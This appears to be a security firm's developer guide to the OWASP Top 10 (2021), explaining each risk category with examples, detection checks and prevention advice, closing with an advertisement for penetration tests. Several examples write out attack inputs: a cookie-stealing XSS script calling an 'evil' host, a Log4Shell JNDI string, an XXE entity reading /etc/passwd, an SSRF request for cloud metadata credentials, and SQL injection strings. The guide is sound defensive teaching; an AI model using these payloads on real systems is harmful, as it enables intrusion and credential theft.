OWASP Top 10 (2021) Explained: A Practical Guide for Developers

The OWASP Top 10 (2021) ranks the most critical web application security risks, derived from data across ~500,000 applications plus a community survey. This guide covers all ten categories, A01 through A10, each with a plain-language definition, a concrete real-world example, and a checklist for detection and prevention. Terminology follows OWASP WSTG, ASVS, and CWE mappings so you can trace each risk to testable controls.

A01: Broken Access Control

Broken Access Control means the application fails to enforce what an authenticated (or anonymous) user is allowed to do. It moved to #1 in 2021 — 94% of tested applications had some form of it. It covers IDOR (Insecure Direct Object Reference), missing function-level checks, forced browsing to privileged URLs, and JWT or cookie tampering to elevate privilege. The root cause is almost always trusting a client-supplied identifier or role without re-checking ownership on the server for every request. Access control must be enforced server-side; anything the client can modify is not a control.

  • Real example: a banking app serves GET /api/accounts/12345/statements. Changing 12345 to 12346 returns another customer's statements because the server never checks the account belongs to the session user — a classic IDOR (CWE-639).
  • Check: log in as user A and request user B's object IDs; a 200 instead of 403/404 confirms the flaw. Automate with Burp Autorize or manual ID enumeration.
  • Prevent: enforce ownership on the server — WHERE owner_id = :session_user on every query, not just a UI hide.
  • Prevent: deny by default; require an explicit grant for each resource and action rather than blocklisting.
  • Prevent: use opaque identifiers (UUIDv4) as defense-in-depth, not as the control itself.
  • Reference: OWASP WSTG-ATHZ, CWE-284/CWE-639; test both horizontal (peer data) and vertical (privilege) escalation.

A02: Cryptographic Failures

Formerly 'Sensitive Data Exposure', this category was renamed to focus on the root cause: failures in cryptography (or its absence) that expose data in transit or at rest. It covers cleartext transmission, weak or deprecated algorithms (MD5, SHA-1, DES, RC4), hardcoded or reused keys, weak randomness, and improper certificate validation. The first question is always: what data requires protection under regulation (PII, health, payment, credentials) and is it actually encrypted everywhere it lives and moves?

  • Real example: an app stores passwords as unsalted MD5 hashes. A single database leak lets attackers crack the majority within hours using rainbow tables and GPU cracking (CWE-916).
  • Check: inspect TLS with testssl.sh or SSL Labs — flag TLS 1.0/1.1, weak ciphers, missing HSTS. Grep the codebase for MD5/SHA1 on secrets and hardcoded keys.
  • Prevent: hash passwords with Argon2id (or bcrypt/scrypt), never fast general-purpose hashes; use a unique per-user salt.
  • Prevent: enforce TLS 1.2+ everywhere, enable HSTS, disable legacy protocols and cipher suites.
  • Prevent: encrypt sensitive data at rest with AES-256-GCM; manage keys in a KMS/HSM, rotate them, never commit them.
  • Reference: OWASP WSTG-CRYP, ASVS V6 (Cryptography), V9 (Communication); align with PCI DSS and GDPR.

A03: Injection

Injection occurs when untrusted input is interpreted as part of a command or query — SQL, NoSQL, OS command, LDAP, ORM, or expression language. Cross-Site Scripting (XSS) was merged into this category in 2021 because it is injection into the browser's HTML/JS context. The unifying defect: data and code share a channel and the interpreter cannot tell them apart. Injection is almost entirely preventable with parameterization, yet remains widespread because string concatenation is the path of least resistance.

  • Real example: a query built as "SELECT * FROM users WHERE name='" + input + "'" lets an attacker submit ' OR '1'='1 to bypass authentication, or ; DROP TABLE ... in worse cases (CWE-89).
  • Real example (XSS): a comment rendered without encoding lets <script>fetch('//evil/'+document.cookie)</script> run in every viewer's browser (CWE-79).
  • Check: fuzz inputs with ', ", ;, and payload lists; use sqlmap and static analysis (Semgrep, CodeQL) to flag string-built queries.
  • Prevent: use parameterized queries / prepared statements or a well-configured ORM — never concatenate user input into a query.
  • Prevent (XSS): context-aware output encoding, a strict Content-Security-Policy, and framework auto-escaping rather than dangerouslySetInnerHTML.
  • Reference: OWASP WSTG-INPV, CWE-89/CWE-79/CWE-78.

A04: Insecure Design

Insecure Design is a new 2021 category covering flaws in the architecture or business logic itself — not bugs in the implementation. You cannot patch your way out of a missing security control that was never designed. It calls for threat modeling, secure design patterns, and reference architectures applied before code is written. A perfectly implemented feature can still be insecure if the design never accounted for abuse cases.

  • Real example: an e-commerce site lets a coupon be applied unlimited times because the design assumed one use per order but never modeled concurrent requests — attackers race checkout to stack discounts (CWE-840).
  • Real example: a password-reset flow uses knowledge-based questions ('mother's maiden name') that are publicly discoverable — the design itself is the weakness.
  • Check: run threat modeling (STRIDE) on new features; ask 'how would an attacker abuse this?' for each flow, not just 'does it work?'.
  • Prevent: establish secure design patterns and a paved-road reference architecture; require threat modeling for critical flows.
  • Prevent: write abuse-case tests alongside functional tests; enforce limits, quotas, and business rules server-side.
  • Reference: OWASP WSTG-BUSL, ASVS V1 (Architecture), OWASP Threat Modeling.

A05: Security Misconfiguration

Security Misconfiguration covers insecure default settings, incomplete configurations, verbose error messages, unnecessary features left enabled, and unpatched or default accounts. XML External Entities (XXE) was folded in here in 2021. As systems grow more configurable across cloud, containers, and frameworks, misconfiguration has become one of the most common findings — a single insecure default (open admin console, permissive CORS) can undo otherwise solid code.

  • Real example: an S3 bucket or Elasticsearch instance is left publicly readable with no authentication, exposing millions of records — a recurring cause of major breaches (CWE-16/CWE-732).
  • Real example (XXE): an XML parser with external entities enabled processes <!ENTITY xxe SYSTEM 'file:///etc/passwd'>, leaking local files (CWE-611).
  • Check: scan with Nuclei, Nikto, or cloud posture scanners (ScoutSuite, Prowler); verify no default credentials, no directory listing, no stack traces in production.
  • Prevent: harden with a repeatable, automated baseline (IaC + CIS Benchmarks); remove unused features, ports, and sample apps.
  • Prevent: disable external entity resolution in XML parsers; return generic errors, set security headers (CSP, X-Content-Type-Options, HSTS), lock CORS to explicit origins.
  • Reference: OWASP WSTG-CONF, CWE-16; treat configuration as versioned, reviewed code.

A06: Vulnerable and Outdated Components

Modern applications are mostly third-party code — libraries, frameworks, runtimes, and containers. This category covers running components with known vulnerabilities (CVEs), unsupported or out-of-date versions, and not knowing what you actually run. Because a component runs with the application's full privileges, one vulnerable dependency can compromise the whole app. Log4Shell (CVE-2021-44228) and the Equifax breach (Apache Struts CVE-2017-5638) both stemmed from this category.

  • Real example: an app ships Log4j 2.14; an attacker sends a header value ${jndi:ldap://evil/x} that triggers remote code execution via Log4Shell (CVE-2021-44228).
  • Check: run Software Composition Analysis — OWASP Dependency-Check, npm audit, pip-audit, or Snyk — in CI and fail builds on high-severity CVEs.
  • Check: generate and maintain an SBOM (CycloneDX or SPDX) to answer 'are we affected?' within minutes of a new CVE.
  • Prevent: remove unused dependencies; patch on a defined SLA; pull only from official sources with integrity checks (lockfiles, hash/signature verification).
  • Prevent: prefer actively maintained libraries; treat unmaintained dependencies as a risk to be replaced.
  • Reference: CWE-1104 and OWASP Dependency-Check.

A07: Identification and Authentication Failures

Previously 'Broken Authentication', this category covers weaknesses in confirming user identity: credential stuffing, brute force, weak or default passwords, flawed session management, and missing multi-factor authentication. If an attacker can become another user, most other controls become irrelevant. Session handling is half the story — a strong login means little if the token is predictable, never rotated after login, or not invalidated on logout.

  • Real example: an API has no rate limiting on login, so attackers replay a leaked password list (credential stuffing) and take over thousands of accounts that reuse passwords (CWE-307).
  • Real example: session IDs are exposed in the URL and never rotated after authentication, enabling session fixation (CWE-384).
  • Check: test account lockout / rate limiting, password policy, session expiration, and token rotation; verify MFA cannot be bypassed via a secondary flow.
  • Prevent: implement MFA, check passwords against breach lists (Have I Been Pwned k-anonymity API), disable default credentials.
  • Prevent: use a vetted session framework; high-entropy tokens, HttpOnly/Secure/SameSite cookies, rotate on login, expire idle sessions; apply rate limiting.
  • Reference: OWASP WSTG-ATHN, ASVS V2 (Authentication) and V3 (Session Management).

A08: Software and Data Integrity Failures

A new 2021 category focused on code and infrastructure that fails to protect against integrity violations: unsigned updates, untrusted deserialization, and compromised CI/CD pipelines. Insecure Deserialization from the 2017 list was merged here. It rose to prominence with supply-chain attacks like SolarWinds, where a trusted update mechanism delivered malicious code. The common thread is trusting data, code, or an update without verifying it came from a legitimate source and was not tampered with.

  • Real example: an app deserializes a user-supplied Java/PHP/Python object without validation; a crafted payload triggers remote code execution during deserialization (CWE-502).
  • Real example: a CI pipeline pulls a build script from an unpinned, mutable source; a compromise injects a backdoor into every release (CWE-345).
  • Check: inventory all deserialization points and auto-update mechanisms; review CI/CD for unsigned artifacts and unpinned dependencies.
  • Prevent: avoid native deserialization of untrusted data — use JSON with a strict schema; if unavoidable, enforce type allowlists and integrity checks.
  • Prevent: verify digital signatures on updates, dependencies, and plugins; pin versions; secure the pipeline (least-privilege agents, protected branches, signed commits/artifacts via Sigstore/SLSA).
  • Reference: CWE-502/CWE-829; SLSA framework for supply chain.

A09 & A10: Logging/Monitoring Failures and SSRF

A09 Security Logging and Monitoring Failures: without adequate logging, detection, and response, breaches go unnoticed — dwell times are routinely measured in hundreds of days. It covers unlogged security events, logs without enough detail, unmonitored logs, and no alerting or incident response. It is not exploited directly; its absence lets every other attack proceed undetected.

A10 Server-Side Request Forgery (SSRF): a new 2021 entry added largely by community survey. It occurs when an application fetches a remote resource using a URL it does not validate, letting an attacker coerce the server into requests to unintended destinations — internal services, cloud metadata endpoints, or arbitrary hosts. It is especially dangerous in the cloud, where the metadata service (169.254.169.254) can hand out temporary credentials.

  • A09 example: an attacker brute-forces admin accounts for weeks; because failed logins are never logged or alerted, the compromise is only found when data appears for sale (CWE-778).
  • A09 check/prevent: log logins, access-control failures, and server-side validation failures with context (who/what/when/source) but never secrets or full PII; centralize to a tamper-resistant SIEM; define alert thresholds (credential stuffing, privilege escalation, mass export) and rehearse an incident response plan (NIST SP 800-61). ASVS V7.
  • A10 example: an image-preview feature fetches a user URL; an attacker submits http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrates cloud IAM credentials — the pattern behind the 2019 Capital One breach (CWE-918).
  • A10 check: test every URL-fetching feature (webhooks, previews, imports, PDF generators) with internal IPs, localhost, cloud metadata IPs, and alternate encodings/redirects.
  • A10 prevent: allowlist hosts and schemes; reject internal/reserved ranges (RFC 1918, link-local, loopback) after DNS resolution; re-validate the final IP to defeat DNS-rebinding; enforce IMDSv2 and least-privilege instance roles.
  • Reference: A09 OWASP WSTG-BUSL / ASVS V7 / NIST SP 800-61; A10 OWASP WSTG-INPV-19, CWE-918.

Key takeaways

  • The OWASP Top 10 (2021) is data-driven from ~500,000 applications; A01 Broken Access Control is the most prevalent risk.
  • Three categories are new in 2021: A04 Insecure Design, A08 Software and Data Integrity Failures, and A10 SSRF.
  • Injection (A03) now includes XSS, and A02 reframes 'Sensitive Data Exposure' around root cause.
  • Access control and input handling must be enforced server-side — never trust client-supplied IDs, roles, or URLs.
  • Most categories are testable: map each to OWASP WSTG, ASVS, and CWE, and wire checks into CI (SCA, SAST, DAST).
  • The list is a prioritized awareness baseline, not an exhaustive checklist — pair it with threat modeling and ASVS.

FAQ

What changed between the 2017 and 2021 OWASP Top 10?+

2021 added three new categories — A04 Insecure Design, A08 Software and Data Integrity Failures, and A10 SSRF. Broken Access Control rose to A01, Injection absorbed XSS, and 'Sensitive Data Exposure' was reframed as A02 Cryptographic Failures to emphasize root cause over symptom.

Is the OWASP Top 10 a complete security checklist?+

No. It is a prioritized awareness document of the most critical risks, built from real-world data. For thorough verification use the OWASP ASVS (Application Security Verification Standard) and the WSTG (Web Security Testing Guide), which provide detailed, testable requirements.

How do CWE and CVSS relate to the OWASP Top 10?+

Each Top 10 category maps to a set of CWE (Common Weakness Enumeration) entries describing the underlying weakness types. CVSS (Common Vulnerability Scoring System) is then used to score the severity of a specific instance you find, independent of its category.

Which OWASP Top 10 risk is most common?+

A01 Broken Access Control. In the 2021 dataset, 94% of tested applications showed some form of broken access control, making it both the most prevalent and among the highest-impact categories.

Want to know which of these ten risks affect your application right now? MonMyIP runs OWASP-aligned penetration tests that map every finding to WSTG and CVSS, with concrete remediation. Request a scoped assessment.